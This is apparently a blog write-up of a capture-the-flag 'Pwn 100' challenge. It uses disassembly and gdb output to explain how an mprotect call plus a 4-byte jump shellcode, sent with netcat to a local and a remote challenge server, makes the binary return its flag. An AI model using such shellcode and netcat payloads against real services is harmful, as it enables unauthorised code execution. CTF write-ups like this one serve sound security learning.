Pwn 100 is a 64-bit ELF executable. The binary is simple, first it reads 8 bytes from user and passes it as address argument for mprotect() function call. Address has to be page aligned
[*] RIP is pointing to 0x4000fb
[*] RSI is pointing to 0x400cac, which looks like the buffer address of flag
[*] RAX is having the socket descriptor value
There is a f_shellcode(), with the following sequence to call send()
[*] Compute offset difference between current RIP and 0x40082A
[*] Perform a jump
.text:0000000000400890 lea rsi, [rbp+buf] ; buf .text:0000000000400894 mov eax, [rbp+fd] .text:0000000000400897 mov ecx, 0 ; flags .text:000000000040089C mov edx, 8 ; n .text:00000000004008A1 mov edi, eax ; fd .text:00000000004008A3 call _recv .text:00000000004008A8 mov rax, [rbp+buf] .text:00000000004008AC mov edx, 7 ; prot .text:00000000004008B1 mov esi, 400h ; len .text:00000000004008B6 mov rdi, rax ; addr .text:00000000004008B9 call _mprotectThen, the binary receives 4 bytes of input using recv(4, buf, 4), then makes a call to buf using CALL RCX
.text:00000000004009DB mov rax, [rbp+buf] .text:00000000004009DF add rax, 0FBh .text:00000000004009E5 mov rsi, rax ; buf .text:00000000004009E8 mov eax, [rbp+fd] .text:00000000004009EB mov ecx, 0 ; flags .text:00000000004009F0 mov edx, 4 ; n .text:00000000004009F5 mov edi, eax ; fd .text:00000000004009F7 call _recv .text:00000000004009FC mov rax, [rbp+buf] .text:0000000000400A00 add rax, 0FBh .text:0000000000400A06 mov [rbp+var_8], rax .text:0000000000400A0A mov rdx, cs:FLAG .text:0000000000400A11 mov eax, [rbp+fd] .text:0000000000400A14 mov rcx, [rbp+var_8] .text:0000000000400A18 mov rsi, rdx .text:0000000000400A1B mov edi, eax .text:0000000000400A1D call rcxFirst we pass 0x0000000000400000 as address to mprotect(0x400000, 1024, 7). The we can pass 4 bytes of shellcode. The following input was passed to the executable
echo -ne '\x00\x00\x40\x00\x00\x00\x00\x00AAAA' | nc 127.0.0.1 4001Below is the state of the program during the crash, viewed inside gdb.
RAX: 0x8 RBX: 0x0 RCX: 0x4000fb RDX: 0x400cac ("MARIO_", 'x' <repeats 18 times>) RSI: 0x400cac ("MARIO_", 'x' <repeats 18 times>) RDI: 0x8 RIP: 0x4000fb gdb-peda$ x/8x 0x4000fb 0x4000fb: 0x41 0x41 0x41 0x41 0x00 0x28 0x1e 0x60We can observe a few things
[*] RIP is pointing to 0x4000fb
[*] RSI is pointing to 0x400cac, which looks like the buffer address of flag
[*] RAX is having the socket descriptor value
There is a f_shellcode(), with the following sequence to call send()
.text:000000000040082A mov ecx, 0 ; flags .text:000000000040082F mov edx, 14h ; n .text:0000000000400834 mov edi, eax ; fd .text:0000000000400836 call _send .text:000000000040083B leave .text:000000000040083C retnSince we have the registers already loaded, I tried reading the flag by jumping to the address of send() sequence. Here is the idea of shellcode
[*] Compute offset difference between current RIP and 0x40082A
[*] Perform a jump
>>> hex(0x40082A- 0x4000fb) '0x72f'
nasm > jmp 0x72f 00000000 E92A070000 jmp dword 0x72fSo the final payload is
echo -ne '\x00\x00\x40\x00\x00\x00\x00\x00\xe9\x2a\x07\x00' | nc 42.117.7.116 4001And I got the flag in reply, which is MARIO_PWN_THIS_FLAG
No comments :
Post a Comment